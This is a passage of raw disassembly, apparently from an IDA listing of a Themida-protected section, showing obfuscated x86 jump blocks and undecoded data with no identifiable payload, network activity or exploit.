		dd 7562E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A052:				; CODE XREF: Themida_:00553A35j
		pop	ebp
		push	esi
		mov	esi, 9ED2DF1h
		sub	edx, 7C00AFDh
		sub	edx, esi
		add	edx, 7C00AFDh
		mov	esi, [esp]
		add	esp, 4
		push	edx
		add	dword ptr [esp], 4BD67A4Eh
		pop	dword ptr [edi+20h]
		sub	dword ptr [edi+20h], 4BD67A4Eh
		pop	edx
		sub	[edi+20h], edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56443C
; ---------------------------------------------------------------------------

loc_55A09D:				; CODE XREF: Themida_:0055BD53j
		pop	ebx
		pop	edi
		push	0A15h
		mov	[esp], esi
		mov	esi, 4
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, 800h
		mov	edi, esi
		pop	esi
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	3FE0h
		mov	[esp], ebx
		push	4A67h
		jmp	loc_55B108
; ---------------------------------------------------------------------------
word_55A0E6	dw 0C8Bh		; DATA XREF: Themida_:00551424o
aHU		db '$h╤u',0
		align 2
		dw 489h
		dd 4EC8324h, 81242489h,	42404h,	0ACE90000h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A103:				; CODE XREF: Themida_:0056659Aj
		mov	[esp], esi
		push	1DA02809h
		pop	esi
		add	dword ptr [esp+4], 7DA4214Fh
		sub	dword ptr [esp+4], 26AD286Eh
		add	[esp+4], esi
		add	dword ptr [esp+4], 26AD286Eh
		sub	dword ptr [esp+4], 7DA4214Fh
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1DA02809h
		push	ebx
		mov	ebx, 3ACF1BCFh
		sub	eax, ebx
		jmp	loc_562344
; ---------------------------------------------------------------------------
aI4H		db '┴4$hс=',0
		align 2
		dw 1C89h
		dd 0CABF5724h, 29165643h, 0E904247Ch, 0B497h, 0E9241489h
		dd 224h, 0E904C483h, 6987h, 0E904C683h,	0FFFFC062h
; ---------------------------------------------------------------------------

loc_55A184:				; CODE XREF: Themida_:00553233j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55636C
; ---------------------------------------------------------------------------

loc_55A18F:				; CODE XREF: Themida_:00554251j
		sub	edx, 759F6CEDh
		pop	eax
		push	ebp
		jmp	loc_559593
; ---------------------------------------------------------------------------
aSRi@ST		db 'S╩ЮI@ И,▓',0
		db 0
; ---------------------------------------------------------------------------

loc_55A1A7:				; CODE XREF: Themida_:005652E6j
		mov	ebp, 48535DF7h
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_55B9D3
; ---------------------------------------------------------------------------

loc_55A1B6:				; CODE XREF: Themida_:00564181j
		xor	eax, [esp]
		pop	esp
		jmp	loc_558F37
; ---------------------------------------------------------------------------
byte_55A1BF	db 81h			; DATA XREF: Themida_:0055141Co
		dd 4ECh, 242C8900h, 0BB2F5B68h,	0F57CE968h, 19B4FFFFh
		dd 0FFEABFE9h, 6AFB68FFh, 2C890000h, 0E9E58924h, 8F5Fh
; ---------------------------------------------------------------------------

loc_55A1E8:				; CODE XREF: Themida_:00555F1Dj
		mov	[esp], edi
		jmp	loc_553F7E
; ---------------------------------------------------------------------------
		dd 0DBFBE950h, 0D8F7FFFFh, 30DAE9h
		db 0
; ---------------------------------------------------------------------------

loc_55A1FD:				; CODE XREF: Themida_:00556292j
		or	edx, 0E0A1DA3h
		jmp	loc_556D1A
; ---------------------------------------------------------------------------
		dd 888DEA80h, 0E2FCE9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A212:				; CODE XREF: Themida_:00558EF2j
		sub	esi, 3F5B5090h
		push	edi
		mov	edi, 244F28BCh
		and	edi, 8BB53C2h
		add	edi, 0FBA030Fh
		push	eax
		jmp	loc_557A94
; ---------------------------------------------------------------------------

loc_55A230:				; CODE XREF: Themida_:00554643j
		mov	eax, 3B7B4729h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55EE5A
; ---------------------------------------------------------------------------
		db 1, 0D5h, 8Bh
		dd 0C4812414h, 4, 97E9CD29h, 83000091h,	248904ECh, 4BB5324h
		dd 81000000h, 0C604246Ch, 0E92D9540h, 0FFFF93F1h, 46851h
		dd 1590000h, 0AEB4E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A27E:				; CODE XREF: Themida_:005607B5j
		push	esi
		mov	esi, 4C305A66h
		push	esi
		jmp	loc_566C5B
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4C2h, 4C28300h, 4EC81h, 0CDE90000h, 89FFFFFEh, 0E951243Ch
		dd 2C0Ch, 18ECC681h, 0C6814DF0h, 72C5725Ah, 0B850515Ah
		dd 0D932779h, 765BCCB9h, 58C12932h, 2404FF51h, 0DFB9E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A2CE:				; CODE XREF: Themida_:0055C452j
		mov	edx, 12560026h
		shl	edx, 2
		jmp	loc_55B9D8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 57582434h, 0C781E789h, 4, 4C781h, 3C870000h,	0C335C24h
		dd 240C3124h, 8B240C33h, 0F1F62424h, 0FFD896E9h, 0BA5259FFh
		dd 7EF77324h, 758CCA81h, 0BF57134Bh, 173E5302h,	3F53E94Fh
		dd 81590000h, 0A48CEC5h, 8BEA0103h, 0C483242Ch,	4EC8304h
		dd 9317E9h, 0B3BA5200h,	0E9523513h, 9A59h, 4C481h, 69680000h
		dd 89000030h, 0A4BB241Ch, 0E93A0A6Fh, 24B2h, 7BA3F581h
		dd 0D0E90B0Ah
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55A363:				; CODE XREF: Themida_:005538FBj
		push	edi
		push	esi
		jmp	loc_55F958
; ---------------------------------------------------------------------------

loc_55A36A:				; CODE XREF: Themida_:00557544j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 533C5ACCh
		and	ebp, 49FF346Ah
		add	ebp, 32313E2Dh
		push	edi
		mov	edi, 0B872D2Fh
		jmp	loc_5669E5
; ---------------------------------------------------------------------------
		dd 42474FFh, 8BB9E95Ah,	0C181FFFFh, 4, 0FFBF2AE9h, 10E768FFh
		dd 56E9108Dh
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A3B7:				; CODE XREF: Themida_:00555CCBj
		mov	esp, [esp]
		push	ebx
		push	esp
		jmp	loc_55E635
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0FBh
		dd 8153032Fh, 549F4C9h,	2E1C102h, 0FF9620E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A3D5:				; CODE XREF: Themida_:0055C17Ej
		push	eax
		jmp	loc_551D4D
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EE8102EEh, 62233B1Ch, 0C681DEF7h, 116599E1h, 99E9F201h
		dd 81FFFFCCh, 4C4h, 5FFE3100h, 7706EF81h, 0C781134Ch, 57317560h
		dd 0B850F701h, 60FA6783h, 0DF52EB35h, 316F0D70h, 0E0C13E5Ch
		dd 0E9D0F704h, 0FFFF95B9h, 558EE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A42A:				; CODE XREF: Themida_:0055D67Dj
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5565FD
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0E5h
		dd 11E30CA3h, 7AF0E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A445:				; CODE XREF: Themida_:00563B65j
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55DEE6
; ---------------------------------------------------------------------------

loc_55A45D:				; CODE XREF: Themida_:00556864j
		push	eax
		jmp	loc_565F33
; ---------------------------------------------------------------------------
		db 58h
		dd 405h, 4BB5300h, 1000000h, 0FF505BD8h, 8B042474h, 96E92404h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A47F:				; CODE XREF: Themida_:00559313j
		pop	edx
		inc	ecx
		sub	ecx, 0C7950F05h
		xor	edi, ecx
		pop	ecx
		jmp	loc_560BD0
; ---------------------------------------------------------------------------
		db 0B8h
		dd 51E65908h, 0FFA05FE9h, 4EDC1FFh, 2F3DC581h, 0ED812662h
		dd 2083D4EFh, 685DE889h, 67FCh,	5A0DE9h, 0E9CD3100h, 7BE6h
		dd 0E3C0CBFEh, 77F38007h, 7D41E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A4C9:				; CODE XREF: Themida_:005571EEj
		mov	[esp], eax
		push	esp
		pop	eax
		push	7133h
		mov	[esp], ebp
		push	edx
		mov	edx, 5CF675E2h
		add	edx, 5C910F99h
		jmp	loc_55C605
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 243C3300h, 33243C31h, 0E95C243Ch, 0FFFF6FEFh
		dd 809ECF80h, 482C73EFh, 0F8281E04h, 0B1E91E2Ch
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A50F:				; CODE XREF: Themida_:0055C694j
		add	dh, ch
		jmp	loc_557152
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 27B30424h, 295A2E62h, 2C812414h, 906A4724h, 0EAC15A7Bh
		dd 86F28107h, 8154B447h, 0B62A21EEh, 0E9D6294Fh, 862h
		dd 54241489h, 81E9555Ah, 81FFFF90h, 92EE19F7h, 5FFA01FDh
		dd 5C241487h, 84E9D829h, 0FFFFFF86h, 48B2434h, 4C48124h
		dd 83000000h, 836804C4h, 0E9000006h, 6783h, 0DE9DD01h
		dd 52000068h, 9C513A68h, 24148B4Ch, 5104C483h, 9C5136B9h
		dd 59CA294Ch, 0FFDB16E9h, 240431FFh, 8B240433h,	0E1F62424h
		dd 0A6E5E9h, 241C3300h,	0E924248Bh, 0C428h
dword_55A5B4	dd 240C8B66h, 0FF8B34E9h ; DATA	XREF: Themida_:00551488o
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A5BD:				; CODE XREF: Themida_:005596E7j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55D487
; ---------------------------------------------------------------------------

loc_55A5C6:				; CODE XREF: Themida_:005615D4j
		add	edx, 4
		jmp	loc_55AFAE
; ---------------------------------------------------------------------------

loc_55A5D1:				; CODE XREF: Themida_:00560C28j
		inc	edi
		xor	edi, 0B2672C8h
		and	eax, edi
		pop	edi
		jmp	loc_5598C3
; ---------------------------------------------------------------------------
		dd 2C59C800h, 2CF5044Bh, 4E8000Eh, 0F5B1510Eh, 0C828E62Ch
		dd 459E604h, 8BCE2C4Bh,	0C481240Ch, 4, 2EC815Bh, 66000000h
		dd 81241C89h, 2ECh, 4896600h, 4EC8324h,	0B7241C89h, 1B353A5h
		dd 9F268h, 240C8900h, 0C1804AB1h, 59CB281Eh, 0FEF7C380h
		dd 1BF380C3h, 0E983B252h, 0FFFFD7F1h, 104C483h,	240C8BCDh
		dd 0B7D8E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A651:				; CODE XREF: Themida_:0055A85Fj
		add	ebx, 7BE14586h
		pop	edx
		mov	eax, [ebx]
		mov	ebx, [esp]
		jmp	loc_56681A
; ---------------------------------------------------------------------------
		dw 0C8Bh
aSm		db '$И╛╣',0
		align 2

loc_55A66A:				; CODE XREF: Themida_:0055CFE6j
		mov	ebp, esi
		pop	esi
		add	ebp, 0DF2E29FCh
		xor	eax, ebp
		jmp	loc_5652BE
; ---------------------------------------------------------------------------
		dw 468h
		dd 0E9000000h, 0FFFFDED7h, 168468h, 24148900h, 5A2414F7h
		dd 6F6EF281h, 68503A39h, 59DCh,	0BE243489h, 69984270h
		dd 467CF681h, 0C681199Ah, 7A2C0E2Eh, 8108EEC1h,	7FEE3CEEh
		dd 5EF089A0h, 54E9D0F7h
		db 12h,	2 dup(0)
byte_55A6C3	db 0FFh			; DATA XREF: Themida_:005512A8o
		dd 20E94077h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A6CB:				; CODE XREF: Themida_:00564A2Dj
		sub	edi, 12683B4Eh
		xor	edi, 49032D43h
		push	0E24h
		jmp	loc_556E06
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 8704C483h, 895C2434h, 0FF542434h, 39E92434h,	87000099h
		dd 815C243Ch, 4ECh, 241C8900h, 0FFCA10E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A709:				; CODE XREF: Themida_:005667FCj
		xor	ecx, 5FBF7BEBh
		push	edi
		jmp	loc_5540C4
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 358BE9h, 24148B00h, 4C481h, 0A3680000h, 8900001Bh, 52532404h
		dd 0F7889BB6h, 0FFE787E9h
		db 0FFh
byte_55A739	db 8Fh,	47h, 40h	; DATA XREF: Themida_:005513D0o
		dd 0FF6DAAE9h, 4C481FFh, 81000000h, 0EF306BE9h,	68F90163h
		dd 5502h, 57243489h, 1002BBFh, 0E3BD556Fh, 811DD451h, 51D5A9EDh
		dd 5DEF31F5h, 2737CF81h, 0E7D1040Fh, 3A7EC781h,	0B95154F7h
		dd 87F90887h, 8959CF31h, 0C1815FFEh, 40433368h,	0BA52F101h
		dd 40433368h, 0FF5AD129h, 815E2434h, 4C4h, 1E67E900h
		db 2 dup(0)
word_55A7A6	dw 8B66h		; DATA XREF: Themida_:005513A0o
		dd 54512404h, 68E95059h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A7B3:				; CODE XREF: Themida_:00556C53j
		sub	ebp, 548F2D8Bh
		and	ebp, 1D6D1F7Ah
		xor	ebp, 11650E4Ch
		add	eax, ebp
		jmp	loc_551E92
; ---------------------------------------------------------------------------
		dd 48B3888h, 4C48324h, 0E4B6E95Bh, 0C581FFFFh, 4, 4C581h
		dd 2C870000h, 7495E924h, 0F801FFFFh, 400D2D5Fh,	0C5014483h
		dd 4ED8358h, 3F8868h, 0C24FE900h, 489FFFFh, 8151E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A80E:				; CODE XREF: Themida_:0056478Dj
		push	edx
		mov	edx, 8783392h
		xor	edx, 1367AD1h
		xor	edx, 2D272EA8h
		jmp	loc_55CC58
; ---------------------------------------------------------------------------

loc_55A825:				; CODE XREF: Themida_:0055B9A7j
		push	eax
		push	esi
		mov	esi, 752720BCh
		mov	eax, 752720B8h
		jmp	loc_552ABF
; ---------------------------------------------------------------------------

loc_55A836:				; CODE XREF: Themida_:0055DED6j
		shl	edx, 5
		sub	edx, 715A66D2h
		add	edx, 0FFFFFFFFh
		add	edx, 4C4A4083h
		sub	ebx, 7BE14586h
		add	ebx, 78101F94h
		add	ebx, edx
		sub	ebx, 78101F94h
		jmp	loc_55A651
; ---------------------------------------------------------------------------

loc_55A864:				; CODE XREF: Themida_:00559D89j
		push	7D23h
		mov	[esp], ebx
		push	esi
		push	6C312541h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_55B59B
; ---------------------------------------------------------------------------
		db 5Eh,	83h, 0ECh
		dd 242C8904h, 2BDh, 30C28100h, 51333D18h, 7563B9h, 59CA2968h
		dd 3D44C281h, 0EA0134E6h, 3D44EA81h, 0C28134E6h, 68007563h
		dd 1830EA81h, 2C8B333Dh, 4C48124h, 0E9000000h, 41CDh, 6624248Bh
		dd 9C240429h, 0FF6C1AE9h, 241C89FFh, 42474FFh, 24048F5Bh
		dd 2434FF5Ch, 68240C8Bh, 63D3h,	54240489h, 4EC8158h, 89000000h
		dd 0B3BA2414h, 8109F52Ch, 0F52CAFEAh, 5AD00109h, 4BB53h
		dd 0D8010000h, 57241C8Bh, 0C781E789h, 4, 4C781h, 3C870000h
		dd 120EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A926:				; CODE XREF: Themida_:00560978j
		pop	ebp
		dec	ebx
		not	ebx
		sub	ebx, 0ACF1093Dh
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5658F9
; ---------------------------------------------------------------------------

loc_55A93D:				; CODE XREF: Themida_:00564753j
		mov	eax, 87D1BCDh
		add	esi, eax
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	eax, 158E570Eh
		sub	eax, 0FFFFFFFFh
		jmp	loc_551671
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 2404335Fh, 33240431h, 248B2404h, 68E1F724h, 58B1h, 89242C89h
		dd 73B468E5h, 34890000h, 4BE24h, 0F5010000h, 8324348Bh
		dd 895104C4h, 4EC81E1h,	89000000h, 4BA2414h, 1000000h
		dd 2434FFD1h, 4C4835Ah,	4E981h,	0C870000h, 47E95C24h, 6800002Dh
		dd 7A90h, 0BE243489h, 23E54A99h, 47A8C681h, 0C6810B3Fh
		dd 0F50FD987h, 815EF589h, 553BCCC6h, 81EE014Ah,	553BCCEEh
		dd 242C8B4Ah, 0E904C483h, 8BE6h
; ---------------------------------------------------------------------------

loc_55A9EC:				; CODE XREF: Themida_:005642EFj
		sub	ebp, ecx
		add	ebp, 22D0148Ah
		jmp	loc_5649DA
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 71C2h, 8BF9295Eh, 0C481243Ch, 4,	89E9CA01h
		dd 5000068h, 0FFFFFFFFh, 932E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AA22:				; CODE XREF: Themida_:00556FC4j
		push	ebx
		mov	ebx, 264C5BE2h
		neg	ebx
		dec	ebx
		add	ebx, 56D86E57h
		sub	ebx, 1
		xor	ebx, 308C1277h
		add	edx, 14B357A1h
		add	edx, ebx
		push	ebp
		jmp	loc_5642D6
; ---------------------------------------------------------------------------

loc_55AA4B:				; CODE XREF: Themida_:005631B4j
		mov	[esp], ebx
		push	eax
		jmp	loc_562C56
; ---------------------------------------------------------------------------

loc_55AA54:				; CODE XREF: Themida_:0055888Dj
		push	2353h
		mov	[esp], eax
		push	2C497BEBh
		pop	eax
		push	402Ch
		mov	[esp], edx
		mov	edx, 84703A7h
		shl	edx, 5
		and	edx, 44B56612h
		shr	edx, 7
		jmp	loc_563D58
; ---------------------------------------------------------------------------
		dd 4246C81h, 7EF572EAh,	50243C8Bh, 4055854h, 0E9000000h
		dd 33C9h, 6A4DE95Ch, 0EC81FFFFh, 4, 0BD242C89h,	3A7A5C94h
		dd 0AA03E9h, 5E08900h, 4, 4EC81h, 3C890000h, 68515624h
		dd 4C4234A9h, 81D9F759h, 0C52AA9E9h, 274EE950h,	42D0000h
		dd 50000000h, 9EE3E9h
		db 0
; ---------------------------------------------------------------------------

loc_55AAE1:				; CODE XREF: Themida_:00557742j
		pop	esi
		mov	edx, esi
		pop	esi
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 77265662h
		xor	ecx, 77265666h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_562E42
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 53D5F704h, 6E7B02BBh, 6E3C141h, 1F6FBA52h, 56422D69h
		dd 0A704C6BEh, 5EF20970h, 2DC7E957h, 0BE560000h, 4, 0EDE9F501h
		dd 5A000050h, 815EF301h, 4C3h, 241C8700h, 228E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AB4E:				; CODE XREF: Themida_:00556384j
		mov	edx, edi
		jmp	loc_55750C
; ---------------------------------------------------------------------------

loc_55AB55:				; CODE XREF: Themida_:0055C3BEj
		push	ebx
		mov	ebx, 323B5564h
		inc	ebx
		shr	ebx, 4
		neg	ebx
		jmp	loc_558DA4
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 33E9E831h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AB73:				; CODE XREF: Themida_:005647D0j
		mov	[esp], edi
		push	16FEh
		mov	[esp], edx
		push	5F9B427Eh
		jmp	loc_5615CE
; ---------------------------------------------------------------------------
		dd 815EF301h, 4ECh, 24048900h, 4B8h, 8BC32900h,	0C4832404h
		dd 74FF5304h, 0A0E90424h, 81000072h, 0DC0223F1h, 0F1F18175h
		dd 5174BC74h, 59240CFFh, 5590C181h, 0CB01015Fh,	5BD90959h
		dd 0F11E9h, 24048700h, 6915E95Ch, 0E289FFFFh, 0B91DE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55ABDE:				; CODE XREF: Themida_:00551958j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_563E94
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 0FF000000h, 815D2434h, 4C4h, 77E26800h, 1C890000h
		dd 2474FF24h, 241C8B04h, 4C481h, 48F0000h, 24248B24h, 9C243CD3h
		dd 0FF68CAE9h, 665B59FFh, 5EE95159h, 0F700005Fh, 3B850D6h
		dd 810AAA02h, 4ECh, 241C8900h, 0D2155CBBh, 0E3814367h
		dd 462F3719h, 2CE9D3F7h, 6800004Ah, 262Ch, 0B9240C89h
		dd 65DC7243h, 0FF87E9E9h, 2543BBFFh, 0C38112EDh, 51D4EB9Fh
		dd 0E95BDF89h, 51E4h
; ---------------------------------------------------------------------------

loc_55AC74:				; CODE XREF: Themida_:0055E068j
		push	edx
		push	53B1h
		mov	[esp], eax
		jmp	loc_5596EC
; ---------------------------------------------------------------------------

loc_55AC82:				; CODE XREF: Themida_:0055AE66j
		add	ecx, 75CF5495h
		jmp	loc_557E0F
; ---------------------------------------------------------------------------
		db 66h,	29h, 0DEh
		dd 31665B66h, 56E95EF2h, 89000075h, 4C381E3h, 83000000h
		dd 1C8702EBh, 89665C24h, 0B966240Ch, 16E9046Ch
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55ACB7:				; CODE XREF: Themida_:005627BBj
		mov	esp, [esp]
		xchg	ebx, edi
		xchg	edi, edx
		jmp	loc_56423A
; ---------------------------------------------------------------------------
		db 0B8h
		dd 21092B98h, 92528B2Dh, 58C7293Fh, 665FFB01h, 10E930FFh
		dd 8BFFFF68h, 0C483241Ch, 28B95104h, 81000000h,	0D2F6CC1h
		dd 0DE98126h, 141AA60h,	0DC181F9h, 8141AA60h, 0D2F6CE9h
		dd 4EC8126h, 89000000h,	13E92404h
		db 9, 2	dup(0)
byte_55AD0F	db 0FFh			; DATA XREF: Themida_:0055145Co
		dd 0C8B2434h, 5EF76824h, 2C890000h, 53E58924h, 8533FABBh
		dd 6855h, 1C290000h, 514B5B24h,	512CEBB9h, 4149413Ah, 0E0EDF181h
		dd 0CB29902Bh, 656EE959h, 0E9590000h, 0A099h, 8124148Bh
		dd 4C4h, 243C3300h, 0E9243C31h,	0FFFF9AD9h, 5E08950h, 4
		dd 3304E883h, 4312404h,	0B7A5E924h, 57530000h, 4B0EE9h
		dd 62F28000h, 0E96AEA80h, 63EFh, 5124248Bh, 0BC4372B9h
		dd 0AC11E93Ah, 4BA0000h, 89000000h, 855AE9D7h, 0E9550000h
		dd 2831h, 880DB151h, 7D83E9CCh,	24890000h, 4B95124h, 1000000h
		dd 0E904244Ch, 0FFFFF214h, 4205BF57h, 0FD31C10Ah, 0E9EA895Fh
		dd 9B36h
; ---------------------------------------------------------------------------

loc_55ADD4:				; CODE XREF: Themida_:00553E4Cj
		add	ebx, 354F0B4Dh
		add	ebx, eax
		jmp	loc_564322
; ---------------------------------------------------------------------------

loc_55ADE1:				; CODE XREF: Themida_:0055D624j
		add	edi, ebp
		pop	ebp
		jmp	loc_551ED7
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 7Ah
		dd 0F7754B0Ah, 33C72DD8h, 0AFE91107h, 5FFFFFA6h, 5A92E981h
		dd 0F1817A85h, 1D37C5CBh, 1074C52Dh, 0E9C80134h, 0FFFF7861h
		dd 4EB81h, 5E90000h, 5BFFFFF1h,	5507EFC1h, 636D74BDh, 8E5C14Dh
		dd 0B9ED814Dh, 95DC02Eh, 0A2E95DEFh, 0FF00005Dh, 48B2434h
		dd 4C48324h, 4C481h, 9CE90000h
		db 66h,	2 dup(0FFh)
byte_55AE4F	db 0ADh			; DATA XREF: Themida_:00551478o
		dd 567BBD55h, 0EE010D81h, 0FF9362E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AE5D:				; CODE XREF: Themida_:0055B72Aj
		add	edi, 53274806h
		and	ecx, edi
		pop	edi
		jmp	loc_55AC82
; ---------------------------------------------------------------------------

loc_55AE6B:				; CODE XREF: Themida_:00553D42j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 48FF0D03h
		xor	ebp, 0B29B687Bh
		sub	esi, ebp
		pop	ebp
		sub	esi, 39553D9h
		sub	esi, edi
		push	ecx
		mov	ecx, 39553D9h
		add	esi, ecx
		pop	ecx
		pop	edi
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, edi
		jmp	loc_55F53D
; ---------------------------------------------------------------------------

loc_55AEC8:				; CODE XREF: Themida_:00565DE2j
		push	5202h
		mov	[esp], edx
		mov	edx, 24D55C4Fh
		push	esi
		jmp	loc_56439A
; ---------------------------------------------------------------------------

loc_55AEDB:				; CODE XREF: Themida_:00559E48j
		push	edx
		mov	edx, 34372AD1h
		shr	edx, 1
		jmp	loc_56340F
; ---------------------------------------------------------------------------
		dd 0AF5D01BEh, 54E68137h, 8128143Fh, 0E02C1DF6h, 0DCE94E62h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55AEFF:				; CODE XREF: Themida_:0055C187j
		add	[edi+24h], esi
		mov	esi, [esp]
		jmp	loc_5559D6
; ---------------------------------------------------------------------------
aBcplcqsi0	db '│ГplCQИ┬0',0
		dd 0C3815B00h, 4, 4EB81h, 0FF530000h, 5B042474h, 0A91FE9h
		db 0
; ---------------------------------------------------------------------------

loc_55AF2D:				; CODE XREF: Themida_:0055FDB1j
		push	485Dh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4BD71658h
		push	eax
		mov	eax, ebx
		jmp	loc_557ABC
; ---------------------------------------------------------------------------
		dd 602194B9h, 33FBE93Ch, 0EA810000h, 6C672B51h,	0E9D0895Dh
		dd 8111h
; ---------------------------------------------------------------------------

loc_55AF60:				; CODE XREF: Themida_:005526EDj
		sub	eax, 0EA84CF7h
		push	edi
		mov	edi, 5B291922h
		push	edx
		mov	edx, 308DA2C7h
		sub	edi, edx
		jmp	loc_564CF9
; ---------------------------------------------------------------------------
		dd 761C381h, 0DD895237h, 56241C8Bh, 0C681E689h,	4, 0FFCDA8E9h
		dd 5DEB29FFh, 0FFE2A5E9h, 246C81FFh, 5B270F04h,	24048B04h
		dd 5904C483h, 0EAD2E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AFAE:				; CODE XREF: Themida_:0055A5CCj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	edx, 1
		push	edi
		mov	edi, 0D0325F41h
		sub	edx, 6C3B7F65h
		add	edx, edi
		jmp	loc_55EDF3
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 8Dh
		dd 1A070AFh, 4335FF8h, 24043124h, 8B240433h, 0E9F62424h
		dd 0CCB60F66h, 8904EC83h, 68E9243Ch, 0BAFFFFEDh, 22A40326h
		dd 515AD121h, 0FFD00EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B001:				; CODE XREF: Themida_:00560EC7j
		add	esp, 4
		jmp	loc_554C9D
; ---------------------------------------------------------------------------
		db 0F6h, 0D6h, 0FEh
		dd 80C6FEC6h, 0C680FDCEh, 5AF5009Dh, 5B7DED80h,	0E95366h
		dd 68FFFFACh, 3622h, 81240489h,	4ECh, 242C8900h, 1C58BA52h
		dd 0D58956D5h, 5DE8895Ah, 0D51C542Dh, 0FFC30156h, 0F1E92434h
		dd 5000004Fh, 0B45FB353h, 2F4BE924h, 45BE0000h,	0F739E121h
		dd 0AEEE81D6h, 896B0B96h, 0F996E9F1h, 0C1BDFFFFh, 81430A41h
		dd 3629EBC6h, 81EE0104h, 3629EBEEh, 2434FF04h, 6335E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B08A:				; CODE XREF: Themida_:0055E638j
		add	esp, 4
		push	edx
		mov	edx, 4
		push	esi
		mov	esi, 238739F6h
		inc	esi
		xor	esi, 33861A07h
		shr	esi, 4
		add	esi, 4A3C4E50h
		add	esi, 1B44A785h
		add	ebx, esi
		pop	esi
		add	ebx, edx
		sub	ebx, 66810814h
		jmp	loc_55CF96
; ---------------------------------------------------------------------------
word_55B0C2	dw 8B66h		; DATA XREF: Themida_:0055139Co
		dd 89532404h, 4EC83E3h,	51240489h, 5F624568h, 8157593Eh
		dd 4ECh, 24348900h, 0B2A7EBEh, 0B222E930h, 0CE810000h
		dd 76CB6834h, 6E71EE81h, 0B8507FCFh, 168B0719h,	0F8354848h
		dd 0E955C951h, 0FFFFC713h
; ---------------------------------------------------------------------------

loc_55B108:				; CODE XREF: Themida_:0055A0E1j
		mov	[esp], edi
		push	esi
		mov	esi, 6E9D4572h
		dec	esi
		neg	esi
